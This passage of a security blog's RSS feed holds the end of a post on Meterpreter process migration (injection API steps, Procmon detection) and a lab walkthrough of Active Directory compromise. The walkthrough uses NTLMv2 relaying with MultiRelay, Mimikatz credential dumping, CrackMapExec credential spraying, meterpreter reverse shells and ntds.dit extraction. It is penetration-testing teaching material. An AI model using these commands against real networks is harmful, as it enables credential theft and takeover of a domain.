&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'pry-byebug'&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ENV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'METASPLOIT_FRAMEWORK_PROFILE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'true'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, in the meterpreter source code, we introduce &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binding.pry&lt;/code&gt; in the line desired line that the debugger should stop.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vim lib/rex/post/meterpreter/client_core.rb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# Migrates the meterpreter instance to the process specified&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# by pid.  The connection to the server remains established.&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;migrate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;writable_dir&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;nil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{})&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pry&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;keepalive&lt;/span&gt;              &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;send_keepalives&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;send_keepalives&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;false&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;target_process&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;nil&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;current_process&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;nil&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Load in the stdapi extension if not allready present so we can determine the target pid architecture...&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;use&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'stdapi'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;aliases&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'stdapi'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;current_pid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getpid&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Find the current and target process instances&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;processes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'pid'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target_pid&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;target_process&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;p&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;elsif&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'pid'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_pid&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;current_process&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;p&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the migration process is initiated, the debugger stops at the desired line:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181126/2.png&quot; alt=&quot;Debugger 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see the value of the variables introducing it’s name:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181126/3.png&quot; alt=&quot;Debugger 2&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;migration-process-detailed&quot;&gt;Migration process detailed&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; Get the PID the user wants to migrate into. This is the target process.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;2&lt;/strong&gt; Check the architecture of the target process whether it is 32 bit or 64 bit. It is important for memory alignment.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; Check if the meterpreter process has the SeDebugPrivilege. This is used to get a handle to the target process.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;4&lt;/strong&gt; Get the actual payload from the handler that is going to be injected into the target process. Calculate its length as well.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;5&lt;/strong&gt; Call the OpenProcess() API to gain access to the virtual memory of the target process.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;6&lt;/strong&gt; Call the VirtualAllocEx() API to allocate an RWX (Read, Write, Execute) memory in the target process&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;7&lt;/strong&gt; Call the WriteProcessMemory() API to write the payload in the target memory virtual memory space.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;8&lt;/strong&gt; Call the CreateRemoteThread() API to execute the newly created memory stub having the injected payload in a new thread.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;9&lt;/strong&gt; Shutdown the previous thread having the initial meterpreter running in the old process.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection-with-procmon&quot;&gt;Detection with Procmon&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot;&gt;&lt;strong&gt;Proc&lt;/strong&gt;ess &lt;strong&gt;Mon&lt;/strong&gt;itor&lt;/a&gt; is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements including rich and non-destructive filtering, comprehensive event properties such session IDs and user names, reliable process information, full thread stacks with integrated symbol support for each operation, simultaneous logging to a file, and much more. Its uniquely powerful features will make Process Monitor a core utility in your system troubleshooting and malware hunting toolkit.&lt;/p&gt;

&lt;p&gt;In the next example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;goodFile.exe&lt;/code&gt; is receiving connections and starting the migration process.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181126/4.png&quot; alt=&quot;Procmon 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After migartion, an strange behaviour in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; is detected (opening a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd&lt;/code&gt; to execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181126/5.png&quot; alt=&quot;Procmon 2&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/&quot;&gt;Offensive Security&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://resources.infosecinstitute.com/using-createremotethread-for-dll-injection-on-windows/&quot;&gt;Infosecinstitute&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://onlinelibrary.wiley.com/doi/book/10.1002/9781119367741&quot;&gt;Advanced Penetration Testing: Hacking the World’s Most Secure Networks&lt;/a&gt;&lt;/p&gt;
</description>
          <pubDate>2018-11-26T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/process-migration</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/process-migration</guid>
        </item>
      
    
      
        <item>
          <title>Controlling the domain controller (Part 2) - Multirelaying NTLMv2 tokens to gain authentication.</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Controlling the domain controller (Part 2) - Multirelaying NTLMv2 tokens to gain authentication.&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181111/1.png&quot; alt=&quot;Controlling_1_title&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;message&quot;&gt;
  This series of articles will focus on Microsoft Windows Active Directory security. The techniques described are not of my own, there is only for education purposes and a useful cheat sheet of how to go ahead in a Windows domain based infrastructure.
  &lt;br /&gt;&lt;br /&gt;
  All Controlling the Domain Controller articles could be found here:
  &lt;ul&gt;
    &lt;li&gt;
    &lt;a href=&quot;https://jlajara.gitlab.io/others/2018/11/04/controlling-DC-part1.html&quot;&gt;Controlling the domain controller (Part 1) - LLMNR poisoning with Responder.py and cracking NTLMv2 tokens&lt;/a&gt;
    &lt;/li&gt;
    &lt;li&gt;
    &lt;a href=&quot;https://jlajara.gitlab.io/others/2018/11/11/controlling-DC-part2-multirelay.html&quot;&gt;Controlling the domain controller (Part 2) - Multirelaying NTLMv2 tokens to gain authentication.&lt;/a&gt;
    &lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;previously&quot;&gt;Previously&lt;/h2&gt;

&lt;p&gt;In the previous part, LLMNR poisoning and &lt;a href=&quot;https://jlajara.gitlab.io/others/2018/11/04/controlling-DC-part1.html#ntlmv2_hashes&quot;&gt;extraction of NLTMv2 hashes&lt;/a&gt; were explained, and a potentiall attack vector was found &lt;a href=&quot;https://jlajara.gitlab.io/others/2018/11/04/controlling-DC-part1.html#cracking_ntlmv2_hashes&quot;&gt;cracking NLTMv2 hashes&lt;/a&gt;. 
However, a main problem was found:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;What happens if the NTLMv2 could not be cracked because the user/service password has a high complexity?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;multirelay&quot;&gt;Multirelay&lt;/h1&gt;

&lt;p&gt;Multirelay is one of the newer features that Responder.py introduced towards the end of 2016. Using this tool we can relay our NTLMv1/2 authentication to a specific target and then, during a successful attack, execute code. So… it is perfect to try a &lt;strong&gt;new attack vector without cracking the NTLMv2 hash&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181111/2.png&quot; alt=&quot;Controlling_2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Two conditions must be taken into account:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SMB Signing needs to be disabled on the machine where the hash is relayed.&lt;/li&gt;
  &lt;li&gt;The user/service whose hash is relayed must have an account on the target computer.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detecting-smb-signing---runfingerpy&quot;&gt;Detecting SMB Signing - Runfinger.py&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;SMB&lt;/strong&gt; (&lt;strong&gt;S&lt;/strong&gt;erver &lt;strong&gt;M&lt;/strong&gt;essage &lt;strong&gt;B&lt;/strong&gt;lock), is a protocol mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between nodes on a network. With the exception of Windows Server OS’s, all &lt;strong&gt;Windows operating systems have SMB Signing disabled by default&lt;/strong&gt;.
Therefore, a NTLMv2 packet enveloping a SMB authentication could be relied to another system to gain authentication if the SMB packet is not signed. However, the NTLMv2 packet could not be relayed to the same system because of &lt;a href=&quot;https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-068&quot;&gt;Microsoft Security Bulletin MS08-068 patch&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Responder.py includes a tool that allows the detection of equipment with SMB Signing: &lt;strong&gt;Runfinger.py&lt;/strong&gt;.&lt;/p&gt;

&lt;script id=&quot;asciicast-VMBq93j4NPmCydnUmO22gxsov&quot; src=&quot;https://asciinema.org/a/VMBq93j4NPmCydnUmO22gxsov.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;Notice that both Windows 7 installed by default in the environment don’t sign SMB packages:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Retrieving information for 192.168.56.10...
SMB signing: False   

...

Retrieving information for 192.168.56.20...
SMB signing: False   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;multirelaying&quot;&gt;Multirelaying&lt;/h2&gt;

&lt;p&gt;To achieve a successful exploitation of this attack we need to disable the SMB and HTTP servers used by Responder otherwise there would be some conflicts between Responder and Multi-relay.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Responder.py configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;script id=&quot;asciicast-DLdndHY24YQEry2XiL7GRwsHK&quot; src=&quot;https://asciinema.org/a/DLdndHY24YQEry2XiL7GRwsHK.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;Previously, running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RunFinger.py&lt;/code&gt;, SMB Signing configuration was detected and targets that don’t sign SMB were detected. Now, we will indicate Multirelay.py to relay all packages detected in the network to the target &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-t 192.168.56.20&lt;/code&gt; and with any user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-u ALL&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Multirelay.py&lt;/li&gt;
&lt;/ul&gt;

&lt;script id=&quot;asciicast-5MefHrNFHlpbjTnpTFB7FApDH&quot; src=&quot;https://asciinema.org/a/5MefHrNFHlpbjTnpTFB7FApDH.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;As we have seen, when an NTLMv2 hash is obtained, it is relayed to 192.168.56.20 obtaining a limited shell. What can this shell do?&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;* dump                  -&amp;gt; Extract the SAM database and print hashes.
* regdump KEY           -&amp;gt; Dump an HKLM registry key (eg: regdump SYSTEM)
* read Path_To_File     -&amp;gt; Read a file (eg: read /windows/win.ini)
* get  Path_To_File  -&amp;gt; Download a file (eg: get users/administrator/desktop/password.txt)
* delete Path_To_File-&amp;gt; Delete a file (eg: delete /windows/temp/executable.exe)
* upload Path_To_File-&amp;gt; Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
* runas  Command     -&amp;gt; Run a command as the currently logged in user. (eg: runas whoami)
* scan /24           -&amp;gt; Scan (Using SMB) this /24 or /16 to find hosts to pivot to
* pivot  IP address  -&amp;gt; Connect to another host (eg: pivot 10.0.0.12)
* mimi  command      -&amp;gt; Run a remote Mimikatz 64 bits command (eg: mimi coffee)
* mimi32  command    -&amp;gt; Run a remote Mimikatz 32 bits command (eg: mimi coffee)
* lcmd  command      -&amp;gt; Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;extracting-credentials-with-mimikatz&quot;&gt;Extracting credentials with mimikatz&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/gentilkiwi/mimikatz&quot;&gt;Mimikatz&lt;/a&gt; is a post-explotation tool that extracts plaintexts passwords, hash, PIN code and kerberos tickets from memory. Mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.&lt;/p&gt;

&lt;p&gt;In the previous shell the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mimi&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mimi32&lt;/code&gt; command is offered, so introducing the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mimi sekurlsa::logonpasswords&lt;/code&gt; will extracts passwords, keys, pin codes, tickets from the memory of lsass.&lt;/p&gt;

&lt;script id=&quot;asciicast-rFnhNdExgYZCcIO1gNxgqmBBB&quot; src=&quot;https://asciinema.org/a/rFnhNdExgYZCcIO1gNxgqmBBB.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;Perfect, domain’s password of &lt;strong&gt;Administrator&lt;/strong&gt; has been extracted, and now?&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        wdigest :
         * Username : Administrator
         * Domain   : LAJA
         * Password : I$ec1234
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;road-to-domain-controller---crackmapexec&quot;&gt;Road to domain controller - CrackMapExec&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://media3.giphy.com/media/l2Sqc3POpzkj5r8SQ/giphy.gif?cid=3640f6095be838cd58474869324a76d9&quot; alt=&quot;Road_domain&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Controlling the Domain Controller is one of the goals of a pentest. But how could we got there?&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/byt3bl33d3r/CrackMapExec&quot;&gt;CrackMapExec&lt;/a&gt; (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Built with stealth in mind, CME follows the concept of “Living off the Land”: abusing built-in Active Directory features/protocols to achieve it’s functionality and allowing it to evade most endpoint protection/IDS/IPS solutions.&lt;/p&gt;

&lt;p&gt;It is a very interesting tool with a lots of options. In this case, we will try to enumerate in which server of the network we can log in with the previous credentials retrieve: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Administrator/I$ec1234&lt;/code&gt;. The following command would be executed:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;crackmapexec smb 192.168.56.0/24 -u 'Administrator' -p 'I$ec1234'   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;script id=&quot;asciicast-BmoxWENDyXWjGzRsTSV0wvcVQ&quot; src=&quot;https://asciinema.org/a/BmoxWENDyXWjGzRsTSV0wvcVQ.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;If the host shows &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Pwn3d!&lt;/code&gt;, it indicates that the credentials worked and some actions could be performed in the system. Furthermore, some modules could be executed when credentials are valid, in this case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--pass-pol&lt;/code&gt; to retrieve password policy,  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uac&lt;/code&gt;  to check UAC status or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enum_avproducts&lt;/code&gt; to check with antivirus systems are deployed by the system.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;its-raining-shells---retrieving-shells-in-all-pwn3d-systems&quot;&gt;It’s raining shells!! - Retrieving shells in all Pwn3d! systems&lt;/h2&gt;

&lt;p&gt;There is a module in CrackMapExec that allows inject &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;meterpreter&lt;/code&gt;. So… let’s inject meterpreter in all systems that allows authentication with the previous credentials… but, what is meterpreter?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Meterpreter&lt;/strong&gt; is an advanced extensible payload that uses an in-memory DLL injection. It significantly increases the post-exploitation capabilities of the Metasploit Framework and would allow to retrieve a reverse shell.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Configuring the listener to retrieve shells:&lt;/li&gt;
&lt;/ul&gt;

&lt;script id=&quot;asciicast-GARLwWaY1nzHu3eGPnogRz6lY&quot; src=&quot;https://asciinema.org/a/GARLwWaY1nzHu3eGPnogRz6lY.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;ul&gt;
  &lt;li&gt;Configuring crackmapexec to inject meterpreter and execute reverse shells:&lt;/li&gt;
&lt;/ul&gt;

&lt;script id=&quot;asciicast-GGdKZWCX7hyR8PRZ6CnGGqK0R&quot; src=&quot;https://asciinema.org/a/GGdKZWCX7hyR8PRZ6CnGGqK0R.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
msf5 exploit(multi/handler) &amp;gt; sessions          

 Active sessions
 ===============                                                                                                                                                                 
  Id  Name  Type                     Information                           Connection                                      
  --  ----  ----                     -----------                           ----------      
  1         meterpreter x86/windows                                        192.168.56.1:14744 -&amp;gt; 192.168.56.20:49260 (192.168.56.20)
  2         meterpreter x86/windows  LAJA\Administrator @ WIN-1DBC39578NO  192.168.56.1:14744 -&amp;gt; 192.168.56.99:50257 (192.168.56.99)
  3         meterpreter x86/windows                                        192.168.56.1:14744 -&amp;gt; 192.168.56.10:49417 (192.168.56.10)  

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Wow, we have an interactive shell in all the systems in the environment with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Administrator&lt;/code&gt; privileges.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://media1.giphy.com/media/mpyApeIXCdR6w/giphy.gif?cid=3640f6095be821d9503773537720e00d&quot; alt=&quot;Boom&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The final steps to accomplish a domain controller pentesting is to extract the contents of &lt;strong&gt;ntds.dit&lt;/strong&gt; file.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;extracting-and-cracking-ntdsdit-file&quot;&gt;Extracting and cracking ntds.dit file&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There are several ways to extract these files, in this case the msfconsole’s ntdsgrab module will be used.&lt;/p&gt;

&lt;script id=&quot;asciicast-XkFtobIEkeeYXRQLVGpiW0w8T&quot; src=&quot;https://asciinema.org/a/XkFtobIEkeeYXRQLVGpiW0w8T.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;To retrieve the contents of NTDS.dit the following steps would be followed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; &lt;a href=&quot;https://github.com/libyal/libesedb/tree/master/esedbtools&quot;&gt;Esedbexport&lt;/a&gt; to extract the tables of NTDS.dit&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; &lt;a href=&quot;https://github.com/csababarta/ntdsxtract&quot;&gt;Ntdsextract&lt;/a&gt; to retrieve information of the users using de SYSHIVE file retrieved with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdsgrab&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;script id=&quot;asciicast-f0J0I1l08BeDrbJ345xPRN6rs&quot; src=&quot;https://asciinema.org/a/f0J0I1l08BeDrbJ345xPRN6rs.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/SpiderLabs/Responder&quot;&gt;Responder.py (SpiderLabs)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/lgandx/Responder-Windows&quot;&gt;Responder.py (Lgandx)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/&quot;&gt;Notsosecure&lt;/a&gt;&lt;/p&gt;
</description>
          <pubDate>2018-11-11T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/controlling-DC-part2-multirelay</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/controlling-DC-part2-multirelay</guid>
        </item>
      
    
      
        <item>
